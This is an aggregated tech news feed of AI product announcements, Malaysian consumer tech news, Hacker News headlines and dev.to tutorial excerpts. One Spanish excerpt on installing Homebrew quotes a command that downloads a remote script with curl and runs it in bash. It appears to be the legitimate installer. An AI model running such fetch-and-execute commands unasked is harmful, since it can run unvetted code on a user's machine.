    In the winter of 2022, as the tech world was becoming mesmerized by the sudden, explosive arrival of OpenAI’s ChatGPT, Benjamin Alarie faced a pivotal choice. His legal tech startup, Blue J, had a respectable business built on the AI of a bygone era, serving hundreds of accounting firms with predictive models. But it had hit a ceiling. Alarie, a tenured tax law professor at the University of Toronto, saw the nascent, error-prone, yet powerful capabilities of large language models not as a curiosity, but as the future. He made a high-stakes decision: to pivot his entire company, which had been painstakingly built over nearly a decade, and rebuild it from the ground up on this unproven technology. That bet has paid off handsomely. Blue J has since quietly secured a $122 million Series D fund…
    Google Antigravity introduces agent-first architecture for asynchronous, verifiable coding workflows
    Googlefocused launched yet another coding agent platform, this time focusing on developer teams collaborating to create agents that can execute complex tasks automatically. The platform, called Antigravity, is powered by Gemini 3 and is now available in public preview with “generous rate limits on Gemini 3 Pro usage.”  Antigravity is an agentic coding platform that aims to “evolve the IDE towards an agent-first future with browser control capabilities, asynchronous interaction patterns, and an agent-first product form factor.”  For the public preview, Antigravity users can build agents using Gemini 3, as well as other leading models such as Anthropic’s Sonnet 4.5 models and OpenAI, open-source GPT-oss. It will be compatible with developer environments running on major operating systems like macOS, Linux, and Windows.  “We want Antigravity to be the home base for software development in the era of agents,” Google said in a blog post. “Our vision is to ultimately enable anyone with an idea to experience liftoff and build that idea into reality.”
    Microsoft’s Agent 365 shifts AI agents from sandbox tools to enterprise-grade infrastructure
    Managing and maintaining AI systems remains a challenge for many enterprises, particularly with the potential for agentic sprawl to expose businesses to risky entry points.  Microsoft entered the observability fray with the launch of Agent 365 during its annual Ignite conference Tuesday. It described Agent 365 as the control plane for AI agents, serving as an observability layer for enterprises running any agent. The company said the platform “delivers unified observability” through telemetry, dashboards, and alerts to track every agent in use. Agent 365 supports any agents, whether built on Microsoft’s platforms or from third parties, including Adobe, Databricks, Cognition, and ServiceNow.  “Agent 365 marks a new chapter in how organizations build, secure, and scale their agents. This is …
  • Open

    Networking for AI: Building the foundation for real-time intelligence
    The Ryder Cup is an almost-century-old tournament pitting Europe against the United States in an elite showcase of golf skill and strategy. At the 2025 event, nearly a quarter of a million spectators gathered to watch three days of fierce competition on the fairways. From a technology and logistics perspective, pulling off an event of…  ( 25 min )
    Realizing value with AI inference at scale and in production
    Training an AI model to predict equipment failures is an engineering achievement. But it’s not until prediction meets action—the moment that model successfully flags a malfunctioning machine—that true business transformation occurs. One technical milestone lives in a proof-of-concept deck; the other meaningfully contributes to the bottom line. Craig Partridge, senior director worldwide of Digital Next…  ( 24 min )
    Google’s new Gemini 3 vibe-codes its responses and comes with its own agent
    Google today unveiled Gemini 3, a major upgrade to its flagship multimodal model. The firm says the new model is better at reasoning, has more fluid multimodal capabilities (the ability to work across voice, text or images), and will work like an agent.  The previous model, Gemini 2.5, supports multimodal input. Users can feed it…  ( 20 min )
    The Download: AI-powered warfare, and how embryo care is changing
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. The State of AI: How war will be changed forever —Helen Warrell & James O’Donnell It is July 2027, and China is on the brink of invading Taiwan. Autonomous drones with AI targeting…  ( 22 min )
  • Open

    Cloudflare Technical Issues Disrupt Websites And Services Worldwide
    Experiencing issues loading certain websites (including ours) or refreshing your feed on X? You’re not alone, as global network provider Cloudflare is currently facing technical problems on its end. The issue has persisted, albeit inconsistently, since around 7:30pm this evening. Affected users are greeted with a 500 Internal Error page when accessing certain sites, which […] The post Cloudflare Technical Issues Disrupt Websites And Services Worldwide appeared first on Lowyat.NET.  ( 33 min )
    MOT To Overhaul Kejara Demerit System; Implementation Begins In 2026
    Transport Minister Anthony Loke has announced that the Malaysian government is moving forward with a major reform of the Kejara demerit system. According to him, the Transport Ministry (MOT) expects to complete the technical overhaul of the system by the first half of 2026, with enforcement measures to be introduced in stages during the second […] The post MOT To Overhaul Kejara Demerit System; Implementation Begins In 2026 appeared first on Lowyat.NET.  ( 35 min )
    Stills For Live-Action Legend Of Zelda Movie Is Out And It Looks Promising
    After Pikachu and Mario dipped their toes into the big screen, it was only a matter of time before Nintendo’s other major IP followed suit, and things are looking quite promising. Earlier today, the Japanese gaming giant revealed their first look into the upcoming Legend of Zelda movie. Nintendo released the images earlier today through […] The post Stills For Live-Action Legend Of Zelda Movie Is Out And It Looks Promising appeared first on Lowyat.NET.  ( 38 min )
    Works Ministry Evaluates JustGo System For ANPR Based Toll Payments
    A few days ago, Works Minister Datuk Seri Alexander Nanta Linggi announced that the open payment toll collection system utilising Automatic Number Plate Recognition (ANPR) technology was in the Request for Proposal (RFP) stage. Later, it was reported that some of the alleged entities have submitted proposals, which include JustGo Digital Bhd. Recently, Deputy Works […] The post Works Ministry Evaluates JustGo System For ANPR Based Toll Payments appeared first on Lowyat.NET.  ( 34 min )
    Illegear Launches SWIF 27 UItra Monitor; Retails For RM1,699
    Illegear is introducing the SWIF 27 Ultra gaming monitor. Specifically, the display is a dual-mode gaming monitor, capable of switching between two resolutions and refresh rates. Specs-wise, the SWIF 27 Ultra is a 27-inch monitor with an IPS panel. Regarding its dual-mode nature, the monitor has the ability to switch between two native resolutions and […] The post Illegear Launches SWIF 27 UItra Monitor; Retails For RM1,699 appeared first on Lowyat.NET.  ( 34 min )
    Suzuki Malaysia Launches Fronx Hybrid; Priced At RM147,888
    Suzuki Malaysia and its sole distributor, Naza Eastern Motors Sdn Bhd, has launched the Fronx Hybrid for the local market. It only comes in one version, compared to the variants that were expected as in the Indonesian market. Design-wise, the Fronx features a coupe-like silhouette and dimensions of 3,995 mm in length, 1,765 mm in […] The post Suzuki Malaysia Launches Fronx Hybrid; Priced At RM147,888 appeared first on Lowyat.NET.  ( 37 min )
    Goodbye GrabRewards, Hello GrabCoins: Enjoy More Exciting Ways To Earn & Spend
    For years, Malaysians have enjoyed the incredible benefits and discounts provided by Grab and its GrabRewards programme. However, you might be surprised that it’s now getting a fresh coat of paint. Moving forward, GrabRewards will now be known as GrabCoins and to celebrate the occasion, Grab is giving you even more ways to earn these […] The post Goodbye GrabRewards, Hello GrabCoins: Enjoy More Exciting Ways To Earn & Spend appeared first on Lowyat.NET.  ( 36 min )
    Nintendo eShop, Switch Online Membership Launched In Malaysia; Starts From RM13/Month
    Last month, Nintendo announced that it will be introducing Nintendo eShop and Nintendo Switch Online in the Southeast Asia region, including Malaysia. Now, just as promised, the services are officially available here. The eShop is directly accessible through the Switch or Switch 2, allowing players to purchase and download games and other content. Of course, […] The post Nintendo eShop, Switch Online Membership Launched In Malaysia; Starts From RM13/Month appeared first on Lowyat.NET.  ( 35 min )
    Apple 14-Inch MacBook Pro With M5 Chip Now Available In Malaysia
    The new 14-inch MacBook Pro with the M5 chip is now available for purchase in Malaysia. Apple says the laptop is currently limited to orders through its official website, with in-store availability at The Exchange 106 and authorised retailers beginning tomorrow, 19 November 2025. Introduced last month, the new 14-inch MacBook Pro retains the design […] The post Apple 14-Inch MacBook Pro With M5 Chip Now Available In Malaysia appeared first on Lowyat.NET.  ( 35 min )
    Gigabyte Launches X870E Aorus Xtreme X3D AI TOP Motherboard
    Gigabyte officially launched its new X870E Aorus Xtreme X3D AI TOP motherboard. As per the brand’s official press release, the motherboard is purpose-built for AMD’s Ryzen X3D CPUs and comes equipped with many modern PC features. Chief among the features is an X3D Turbo Mode 2.0, thanks to a new built-in AI model and improved […] The post Gigabyte Launches X870E Aorus Xtreme X3D AI TOP Motherboard appeared first on Lowyat.NET.  ( 35 min )
    Future Apple iPhone Pro Cases Might Get Touch Sensitive Controls
    For the most part, phone cases are decorative accessories that serve a protective purpose. At the moment, cases that add some form of functionality are few and far between, but Apple might be looking to change that. At least, if a recent rumour proves to be accurate. In a Weibo post, leakster Instant Digital claimed […] The post Future Apple iPhone Pro Cases Might Get Touch Sensitive Controls appeared first on Lowyat.NET.  ( 35 min )
    Alleged Samsung Galaxy Buds 4 Pro Leaks In One UI 8.5 Animations
    The eagle-eyed writers at Android Authority claim to have discovered what they allege to be Samsung’s next generation Galaxy Buds 4 Pro wireless earbuds. As to where they found it, it was apparently hidden within the animation of the leaked One UI 8.5. Mention of the Buds 4 Pro have been popping up at regular […] The post Alleged Samsung Galaxy Buds 4 Pro Leaks In One UI 8.5 Animations appeared first on Lowyat.NET.  ( 35 min )
    iPhone Air Designer Reportedly Exits Apple
    Apple’s design division has been hit with another high-profile departure, Bloomberg’s Mark Gurman reports. This time around is industrial designer Abidur Chowdhury, who helped create and introduced the new iPhone Air back in September. According to people familiar with the matter, Chowdhury has quietly left the company for an artificial intelligence startup. Gurman adds that […] The post iPhone Air Designer Reportedly Exits Apple appeared first on Lowyat.NET.  ( 34 min )
    Disney+ To Raise Subscription Prices; Starts From RM29.90/month
    Not too long ago, Disney renamed its streaming service for the local market to Disney+. Following this change, the company has announced a price hike for its subscription plans. The updated pricing will take effect next month, starting from 18 December 2025. According to a post on the streaming platform’s helpdesk page, Disney+ Basic Monthly […] The post Disney+ To Raise Subscription Prices; Starts From RM29.90/month appeared first on Lowyat.NET.  ( 34 min )
    LRT3 Operations Delayed Again; May Start At Tail-End Of 2025 Or Next Year
    Transport Minister Anthony Loke has announced that the target date of operations for the Light Rail Transit 3 (LRT3) line has been pushed back to 31 December 2025 or later, depending on the outcome of ongoing tests. This marks yet another delay for the new 37.8km line, which was previously slated to commence in September, […] The post LRT3 Operations Delayed Again; May Start At Tail-End Of 2025 Or Next Year appeared first on Lowyat.NET.  ( 35 min )

  • Open

    Windows 11 adds AI agent that runs in background with access to personal folders
    Comments  ( 14 min )
    Show HN: Parqeye – A CLI tool to visualize and inspect Parquet files
    Comments  ( 7 min )
    Three Hapsburgs and a Reporter Walk into a Canadian Vault
    Comments
    Private equity firms are snapping up mobile home parks, driving out residents
    Comments  ( 14 min )
    Show HN: My hobby OS that runs Minecraft
    Comments  ( 4 min )
    More liberals, people of color and LGBTQ say they're buying guns out of fear
    Comments  ( 7 min )
    Ion: Modern System Shell in Rust
    Comments  ( 13 min )
    Run ancient Unix on modern hardware
    Comments  ( 32 min )
    What Influence Has the BBC Had on History?
    Comments  ( 6 min )
    Grok 4.1
    Comments
    Ask HN: How are Markov chains so different from tiny LLMs?
    Comments  ( 3 min )
    Almost all Collatz orbits attain almost bounded values
    Comments  ( 10 min )
    Two recently found works of J.S. Bach presented in Leipzig [video]
    Comments
    Compiling Ruby to Machine Language
    Comments  ( 5 min )
    Show HN: PrinceJS – 19,200 req/s Bun framework in 2.8 kB (built by a 13yo)
    Comments
    Implementing Rust newtype for errors in axum
    Comments  ( 6 min )
    Pyrotechnic Display Design Software
    Comments  ( 8 min )
    Towards Interplanetary QUIC Traffic
    Comments  ( 8 min )
    An official atlas of North Korea
    Comments  ( 20 min )
    Reselling tickets for profit to be outlawed in UK government crackdown
    Comments  ( 15 min )
    Show HN: Kalendis – Scheduling API (keep your UI, we handle timezones/DST)
    Comments  ( 4 min )
    Show HN: Building WebSocket in Apache Iggy with Io_uring and Completion Based IO
    Comments  ( 8 min )
    EEG-based neurofeedback in athletes and non-athletes
    Comments  ( 52 min )
    DESI's Dizzying Results
    Comments  ( 4 min )
    Azure hit by 15 Tbps DDoS attack using 500k IP addresses
    Comments  ( 8 min )
    Azure hit by 15 Tbps DDoS attack using 500k IP addresses
    Comments  ( 23 min )
    A new book recovers the origins of Effective Altruism
    Comments  ( 18 min )
    The Baumol Effect and Jevons paradox are related
    Comments  ( 27 min )
    You only live once, self host a NAT Gateway
    Comments  ( 10 min )
    Cities Panic over Having to Release Mass Surveillance Recordings
    Comments  ( 22 min )
    When AWS was down, we were not
    Comments  ( 29 min )
    Israeli-founded app preloaded on Samsung phones is attracting controversy
    Comments  ( 14 min )
    You can now buy used Ford vehicles on Amazon
    Comments  ( 26 min )
    Living my best Sun Microsystems ecosystem life in 2025
    Comments  ( 54 min )
    How to See the Dead
    Comments  ( 37 min )
    Project Gemini
    Comments  ( 1 min )
    How to escape the Linux networking stack
    Comments  ( 11 min )
    WBlock: A New Ad-Blocker for Safari
    Comments  ( 11 min )
    Google is killing the open web, part 2
    Comments  ( 18 min )
    Show HN: Bsub.io – zero-setup batch execution for command-line tools
    Comments  ( 1 min )
    Show HN: 32V TENS device from built from scratch under $100
    Comments  ( 2 min )
    WeatherNext 2: Our most advanced weather forecasting model
    Comments  ( 14 min )
    Aldous Huxley predicts Adderall and champions alternative therapies
    Comments  ( 7 min )
    Show HN: ESPectre – Motion Detection Using Wi-Fi and Math
    Comments  ( 49 min )
    Jeff Bezos Creates A.I. Startup Where He Will Be Co-Chief Executive
    Comments
    Replicate is joining Cloudflare
    Comments  ( 2 min )
    Geothermal energy might be the baseload revolution we've been looking for
    Comments  ( 177 min )
    Darts, Dice, and Coins: Sampling from a Discrete Distribution (2011)
    Comments  ( 49 min )
    FreeMDU: Open-source Miele appliance diagnostic tools
    Comments  ( 10 min )
    US startup Substrate announces chipmaking tool that it says will rival ASML
    Comments  ( 2 min )
    GCC 16 considering changing default to C++20
    Comments  ( 1 min )
    "Two US Marines implicated" in killing family in notorious Iraq war shooting
    Comments  ( 29 min )
    Mysterious drones have been spotted at airports across Europe
    Comments  ( 32 min )
    FCC Chairman backs demand that NBC fire Seth Meyers 'immediately'
    Comments  ( 18 min )
    Chuck Moore: Colorforth has stopped working [video]
    Comments
    The Afterlife of Hilma Af Klint, Painting's Posthumous Star
    Comments  ( 200 min )
    Are you stuck in movie logic?
    Comments
    Ned: ImGui Text Editor with GL Shaders
    Comments  ( 16 min )
    The evolution of rationality: How chimps process conflicting evidence
    Comments  ( 9 min )
    My Favorite Math Problem
    Comments  ( 6 min )
    Apple's iPhone Overhaul Will Reduce Its Reliance on Annual Fall Spectacle
    Comments
    Things I don't like in configuration languages
    Comments  ( 10 min )
    Giving C a Superpower
    Comments  ( 14 min )
    Simplifying Cluster-Wide PostgreSQL Execution with Exec_node() and Spock OSS
    Comments  ( 20 min )
    Android/Linux Dual Boot
    Comments  ( 5 min )
    Concrete Shipbuilding – Argentina
    Comments  ( 31 min )
    The Shutdown of Usa.i.d. Has Killed Thousands
    Comments  ( 128 min )
    Building a Simple Search Engine That Works
    Comments
    Digital echoes: open bus behavior on the compact Macintosh
    Comments  ( 8 min )
    Tektronix equipment has been used in many movies and shows
    Comments  ( 2 min )
    Mixing Is the Heartbeat of Deep Lakes. At Crater Lake, It's Slowing Down
    Comments  ( 18 min )
    People are using iPad OS features on their iPhones
    Comments  ( 17 min )
    A 1961 Relay Computer Running in the Browser
    Comments
    sit: Create StuffIt archives on Unix systems
    Comments  ( 9 min )
    Solving the Whole Year Puzzle with Z3
    Comments
    Building a high performance home
    Comments  ( 27 min )
  • Open

    deboa, a simple http client for rust
    Few months ago, I started an effort on create a very simple and easy to use http client. At first, I just tried to mimic the same approach as apisauce for NodeJS, but that didn’t sound appropriate, so I started to refactor to be more rust friendly lib. Once I moved forward with Deboa implementation, I started to brake it down by features, then by separate crates. Nowadays, Deboa is very modular and can take minimal space on final binary size. So far, whole Deboa ecosystem is made of following crates: deboa deboa-extras deboa-macros deboa-bora deboa-fory vamo vamo-macros In this post, we will cover Deboa and some of its features. Right now Deboa has the following features: tokio-rt smol-rt http1 http2 All the examples on this post are based on tokio-rt and http1. You can easy add Deboa to y…  ( 7 min )
    Customer Experience Design: Why Your Friction Map Matters More Than Your Journey Map
    Every company has a customer journey map. Usually it's beautiful. Color-coded stages, emotional peaks and valleys, touchpoint icons that look like they came from an expensive design system. And it's sitting in a Figma file nobody's opened since the workshop three months ago. Here's what I've noticed after reviewing dozens of CX initiatives: teams spend weeks mapping the ideal journey and about 20 minutes identifying where things actually fall apart. Then they wonder why their NPS isn't moving. The problem isn't journey mapping itself. It's that we've confused documentation with diagnosis. We're drawing maps of territories we hope exist instead of surveying the terrain customers actually navigate. Let me show you what works instead. Start with where customers get stuck. Not where you think …  ( 11 min )
    The Unseen Code: When Medical AI Reveals More Than Medicine by Arvind Sundararajan
    The Unseen Code: When Medical AI Reveals More Than Medicine Imagine training an AI to detect pneumonia from chest X-rays, only to discover it's also silently predicting a patient's insurance status. Seem impossible? What if the algorithm inadvertently learned to recognize subtle differences in image quality, scan settings, or even positioning that correlate with access to different levels of healthcare? The implications are profound. At the heart of this is the idea that AI, specifically deep learning models trained on medical images, can unintentionally learn and encode socioeconomic biases present within the data itself. The algorithm, in its pursuit of accuracy, picks up on subtle cues – variations in equipment, clinical workflows, or even the effects of chronic stress on lung tissue …  ( 7 min )
    Marketing Automation Tools: What Actually Works When You're Not an Enterprise
    Here's what nobody tells you about marketing automation: most tools are built for companies with dedicated ops teams, six-figure budgets, and the luxury of a 12-month implementation timeline. You probably have none of those things. I've watched countless businesses buy platforms they'll never fully use, spend months on setup, and eventually downgrade to something simpler. The automation dream turns into a nightmare of unused features and wasted budget. So let's talk about what actually works in 2025, when you're dealing with real constraints. The market's gotten weird. Every CRM now claims to be a marketing automation platform. Every email tool promises AI-powered everything. And everyone's racing to add features nobody asked for. Case in point: I counted 47 different tools at a recent Mar…  ( 11 min )
    Learning Rust: Custom Error types that actually work!
    TL;DR: GITHUB REPO. Tired of writing the same verbose error handling boilerplate in your Axum handlers? Me too! 🙄 By creating a custom AppError newtype that wraps anyhow::Error and implements IntoResponse + From, you can ditch all those ugly match statements and embrace the beautiful ? operator. Your handler functions go from messy error-matching shenanigans to clean, readable code that automatically converts any error into proper HTTP responses. It's like magic, but with more crabs! 🦀 Recently I've been digging a lot into the axum crate for any of my Rust web projects. There are plenty of options out there for Rust web applications, but it seems that we have all settled on Axum as the go to crate. Before you even start reading this, if you have not checked it out yet - do so now ...…  ( 11 min )
    Django Deployment : Day 14
    🚀 Django Learning Journey – Day 14 Today was the BIG day — I tried deploying my first ever Django app! 🌐 Choosing a Free Tier After researching deployment options, I chose Render. But everything after that was a rollercoaster 🚀🔥 💡 Important Lessons I Learned Today I finally understood why this file is crucial. 2️⃣ Why people name their environment folder .env Most tutorials use .env instead of venv or virt. 3️⃣ Static files & the root directory I had to configure a root directory for collecting static files and then run: python manage.py collectstatic --noinput I don’t fully understand what --noinput does yet… 4️⃣ Gunicorn for deployment Installed gunicorn and updated the start command: gunicorn todo_app.wsgi:application --bind 0.0.0.0:$PORT This finally got the app very close to going live. 🎉 The App Actually Went Live!! Here’s the URL I got on Render: https://to-do-list-django-4yp3.onrender.com I clicked with excitement… ❌ “DisallowedHost at /” My jaw dropped. This was such an important reality check: “Just because it works on your machine doesn't mean it works on the server.” I’m now learning why Django requires updating ALLOWED_HOSTS and what a server actually is. 🤝 I Need Some Help If you’ve deployed Django apps multiple times: How do you fix this DisallowedHost issue cleanly? What helped you understand how servers work without getting intimidated? What shocked you during your first deployment attempt? 🥹 Final Thoughts Even though today was full of errors… The learning curve is steep — but incredibly rewarding. Thank you all for being part of this journey 🙏 Failed yet proud : https://to-do-list-django-4yp3.onrender.com  ( 7 min )
    Building a Para MCP Server + Next.js Wallet Demo (with Kiro + MCP)
    para-mcp-server in one sentence para-mcp-server is a Para MCP server plus a Next.js demo UI that lets AI tools and humans share the same Para-powered auth and wallet flows. It’s a small lab for experimenting with: MCP tools that talk to Para Next.js UI that shows what the same flows look like in the browser AI-first workflows (Kiro, ChatGPT, etc.) that can trigger those flows from inside your editor or chat. From the typescript/community/mcp-tools/para-mcp-server folder you get: A Para MCP server Managed by xmcp via xmcp.config.ts Exposes Para operations to any MCP-capable client (ChatGPT, Kiro, etc.) A Next.js demo app Runs on http://localhost:3012 Shows end-to-end auth and wallet flows backed by Para Configurable Web3 infra Para API key and environment WalletConnect project ID …  ( 9 min )
    Next.js Weekly #108: React Email 5, Better Upload, Error Boundary, Anti-Vendor-Lock-In, StyleX, PWA App Icons in Next.js 16
    Hey folks, this is the first issue with the new template for the newsletter. I'm still working on the design, but I wanted to get it out there so you can see the changes. Let me know in case you have any feedback. – Erfan Ebrahimnia, Curator of Next.js Weekly React Email 5 The main announcement of this week is the release of React Email 5.0.0. This major version brings lots of improvements, including support for Tailwind 4, a new Dark Mode Switcher, Resend integration for team collaboration, and 8 new components like avatars, stats, and testimonials. It also adds compatibility with React 19.2 and Next.js 16 Don't Blindly Use useTransition Everywhere Nicolas takes a closer look at useTransition and why the React Docs example might not be a great starting point for real-world UX If you …  ( 8 min )
    Understanding Prototypal Inheritance in JavaScript: A Deep Dive
    Prototypal inheritance is one of JavaScript's most powerful yet misunderstood features. Unlike classical inheritance found in languages like Java or C++, JavaScript uses a prototype-based approach that's both flexible and elegant. Let's unpack this concept from the ground up. Imagine you're building a user management system. You have a basic user object with common properties and methods. Now you need to create admin and guest variants. Should you copy-paste all the user code? Absolutely not! This is where prototypal inheritance shines—it lets you build new objects on top of existing ones. [[Prototype]] Property Every JavaScript object has a secret weapon: a hidden property called [[Prototype]]. Think of it as a reference pointer that says, "If you can't find what you're looking for in m…  ( 9 min )
    Chess Engine
    So yesterday i started working on my chess engine, written in c++,i'm writing these blogs and a couple more i'll write in the future for quite a selfish reason (to track my progress) and also because i want someone else, confused like me in the future to use this, hopefully, as a road map to write their engine. right so i started yesterday, i started with well board representation, I'm a programmer not a writer so please forgive my fuck ups here and there, some times i won't make sense but lie to yourself and pretend you do understand what i'm on. I chose the most intuitive approach, the 8x8 array representation. ` from there i basically hard-coded each each in the 8x8 array. and then proceeded to have print function, which prints the pieces on the console, it maps a string i hard-coded to the enum values. something like 1.pieces = " PNBRQKpnbrqk" loop through array[8x8] check if array[i][j]!=empty if yes print " . " if no print pieces[array[i][j]] it works only because the string indices and the enum piece value match, hopefully that makes sense right now i just implemented a simple no rule move function this is my repo to keep up if you like https://github.com/PainIam/Pain_ENGINE  ( 6 min )
    Instalacion en Ubuntu de Homebrew y asdf (Gestor de Versiones Múltilenguaje)
    Links Homebrew asdf - version manager Homebrew es un gestor de paquetes de línea de comandos gratuito y de código abierto diseñado para macOS (y también Linux, bajo el nombre de Linuxbrew o Homebrew on Linux). Su propósito principal es simplificar la instalación y administración de software que Apple no incluye de forma nativa. ¿Para qué sirve? Te permite instalar miles de utilidades, herramientas de desarrollo (como Git, Node.js, Python), y otras aplicaciones con comandos simples como brew install . En esencia, facilita a los desarrolladores y usuarios avanzados obtener el software que necesitan en su sistema sin tener que compilarlo manualmente o buscar instaladores individuales. Es como una "tienda de aplicaciones" para tu terminal. /bin/bash -c "$(curl -fsSL https://raw.git…  ( 8 min )
    🚀 Neovim + COQ + Mason + LSP: Mini Guide
    This guide explains how to properly set up COQ.nvim autocomplete Mason and LSP servers in Neovim. It includes the most Make sure you have: ms-jpq/coq_nvim ms-jpq/coq.artifacts (optional, extra completions) williamboman/mason.nvim williamboman/mason-lspconfig.nvim neovim/nvim-lspconfig Example (lazy.nvim): { "ms-jpq/coq_nvim", branch = "coq", }, { "ms-jpq/coq.artifacts", branch = "artifacts", }, { "williamboman/mason.nvim", config = true, }, { "williamboman/mason-lspconfig.nvim", dependencies = { "neovim/nvim-lspconfig" }, }, COQ does not start automatically unless configured. vim.g.coq_settings = { auto_start = 'shut-up' } Alternatively, use manually later: :COQnow require("mason").setup() local coq = require("coq") require("mason-lspconfig").setup({ …  ( 6 min )
    My React template
    You can find the original post on my blog Lately I've found myself wanting to work on some side project ideas. Every time I had to implement the same stuff again and again: basic library configuration, routing, layout, forms, authentication. Most of the time I would start a project using Vite and copy-paste parts from other apps I'd worked on. That alone could take a couple of hours or days without making any progress on my idea. The things I usually need are simple. I like working with Tanstack Query for handling HTTP requests and caching. I implement authentication using sessions where an HTTP-only cookie is set by the backend, and on the frontend I make a request against a /me or /user endpoint to check if the user has a session. I set up some interceptors to log the user out on 401 req…  ( 7 min )
    Building a Custom TypeScript Client for Your REST API
    The examples in this post are available in a demo repository here: https://github.com/liavzi/custom-open-api-ts-client. In one of the projects I'm working on, we use a simple API service to communicate with the server: export class ApiService { private baseUrl = ''; constructor() { } get(endpoint: string): Observable { ... } post(endpoint: string, body: any: Observable { ... } } // when I need to use it apiService.get("iHateToCopyThisEveryTime").subscribe(response: AnotherTypeINeedToManuallyCreateEveryTime) => {}); The first problem is that I always have to manually pass the endpoint URL. This usually means copy pasting it from the backend, which is repetitive and easy to mess up. The second problem is even worse: whenever I need to GET or POST json dat…  ( 10 min )
    Tired of Rails one-off scripts becoming a nightmare? I built something for that.
    You know the drill. You need to run a script once to fix some data, update user preferences, or migrate something. You write a rake task, run it, and then... did it actually run? Did it work? If something breaks halfway through, how do you know where to restart? I got tired of this cycle, so I built script_tracker - a Ruby gem that treats your one-off scripts like migrations (but better). What it does: Tracks which scripts have run (no more "did I run this already?") Wraps everything in transactions (rollback on failure) Built-in progress logging ("Processing 1,247 of 10,000 users...") Batch processing helpers (because memory matters) Timeout support (no more runaway scripts) Simple rake commands to manage everything Before: # Some random rake task # Did this run? Who knows! rake data:fix_user_preferences After: # Clean, tracked, logged rake scripts:create["fix user preferences"] rake scripts:run rake scripts:status # See what ran and when The best part? If your script fails halfway through, you know exactly where, and you can handle retries properly. Why I built this: Real talk: This started as internal tooling at my company. We had too many “wait, did that script run?” conversations. Now our data migrations are as reliable as our schema migrations. The gem is open source and ready to use. Would love feedback from fellow Rails developers who’ve felt this pain. Check it out: https://github.com/a-abdellatif98/script_tracker What’s your biggest one-off script horror story? I bet this would have prevented it.  ( 7 min )
    The Hidden AI Tax on Tech Debt
    TL/DR: the larger your files are, the more you will likely pay for tokens using AI Sometimes files bloat: someone got lazy and did not separate concerns, someone was rushed to release the feature, someone silently quit or could care less. It is impossible to catalogue all the possible reasons. There are different views on the file sizes in the codebase, especially when it comes to frontend development, with some developers considering fine grained small files with single export, as was the case with one of the Angular's older style guides, or loose suggestions as it was once in React: see what works for you, you can start by putting everything in one file, or something like that. Both are valid approaches and usually developers go by their preferences. Yet, it is the end of 2025 and everyo…  ( 10 min )
    How to scrape websites that Selenium or Playwright can't
    Short answer: write your own browser plugin/extension. This is not overly difficult, thanks to today's abundance of documentation and samples.  ( 6 min )
    AI SDLC Transformation — Part 2: How to Measure Impact (and Avoid Vanity Metrics)
    When organizations begin adopting AI across their software delivery lifecycle, the first question is always the same: “How do we measure success?”. It sounds straightforward, but it’s one of the hardest parts of the transformation. What looks like success on a dashboard often hides the real story underneath. Most teams still rely on familiar SDLC metrics: velocity, cycle time, defect counts. These numbers look objective, but in AI-driven delivery they become vanity metrics when interpreted the old way. They show motion, not progress. Traditional metrics were designed for a world without self-learning systems. In AI-enhanced teams, early improvements are non-linear, often invisible, and rarely captured by the dashboards leaders are used to. During the transformation process, the first few s…  ( 9 min )
    Influencer Marketing in 2025: Beyond the Follower Count Theater
    Here's something that'll surprise exactly no one: buying followers is still happening. In 2025. With all the detection tools, platform crackdowns, and public embarrassments. But here's what actually is surprising—the brands winning at influencer marketing right now aren't the ones throwing money at accounts with a million followers. They're working with creators who have 3,000 engaged followers and conversion rates that would make your performance marketing team weep with joy. The influencer marketing landscape has split into two parallel universes. In one, brands still chase vanity metrics and celebrity partnerships that look great in boardroom presentations. In the other, smart marketers are building creator networks that actually move product and build communities. Guess which one has b…  ( 13 min )
    🛒 A COMPLETE CUSTOMER SHOPPING FEEDBACK SYSTEM
    A post by Engr. Ipaye Babatunde  ( 6 min )
    ArchitectGBT - How to Avoid Costly Mistakes When Selecting an LLM
    I was building allpub.co (a smart cross-platform publishing tool) when I hit a problem that code couldn't solve: which LLM should I actually use? It's late. I need AI-powered title generation, SEO extraction, and summaries for AllPub. Simple, right? Not even close. Should I use GPT-4? Great quality but insanely expensive. Claude 3 Haiku? Cheap but will it work well enough? Mistral? Llama? Deepseek? Each one has different tradeoffs. Speed versus cost. Quality versus infrastructure headaches. Three hours later I've got 47 browser tabs open and zero clarity. The frustrating part? I'm a developer. I can code anything. But I have no idea which LLM is actually right for my use case. And I'm betting thousands of other builders feel the exact same way. So I built a decision matrix. What's my actua…  ( 7 min )
    Creating hobby websites in 2025
    Hey, guys! Using a voice transcription AI tool, like Cursor's native recorder or "Wispr Flow", I brain dump all my ideas and requirements into text and save it in a PRD.md file or in a Google Doc. I also attach a bunch of other copy-pasted text that might be related to that project. I personally go with npx create-next-app@latest my-next-app --tailwind --typescript --eslint --app --turbopack and npx shadcn@latest init. Then, I use an AI Agent tool, such as Claude Code, to create the project. I paste the document create before into a prompt and add some extra details, for example: Project in nextjs, tailwind, shadcn components (don't create them, import them using shadcn commands), @neondatabase/serverless Neon DB, @stackframe/stack Stack Auth Full Prompt: https://gist.github.com/Markkop/765612eecb7f6a7e1c2564eda03b228b Now, using Claude Code and Cursor, I finish the integrations I want and the fixes needed. I also try to leverage AI at max via Playwright MCP/Chrome MCP/Cursor (browser testing) and Neon MCP (db updates). This is where I most leverage my dev knowledge: I guide the AI to build the features I plan, change libraries, follow patterns and so on. Finally, when I have something okayish to release, I setup Vercel and domains. When I started writing this post, I realized there's a lot of more profound knowledge applied to the process that is too much for write in a single post, so take this more as an overview of the process  ( 6 min )
    Kafka Architecture - The Complete Mental Model 🧠
    How all the pieces fit together to create a powerful streaming platform Understand the "Big Picture" - How events, topics, partitions, producers, consumers, brokers, and consumer groups all work together as one cohesive system. Think of this as getting a bird's eye view of the entire Kafka ecosystem! 🦅 The fundamental unit - an immutable fact representing something that happened. ┌─────────────────────────────────────┐ │ EVENT/RECORD │ ├─────────────────────────────────────┤ │ Key: user_456 │ │ Value: {"action": "purchase"} │ │ Timestamp: 2025-11-18 14:30:00 │ └─────────────────────────────────────┘ Everything in Kafka revolves around these! A collection of servers working together - NOT just one server! KAFKA CLUSTER ┌─────…  ( 14 min )
    Building an interactive map with Replit Agent: A software engineer tests vibe-coding efficiency
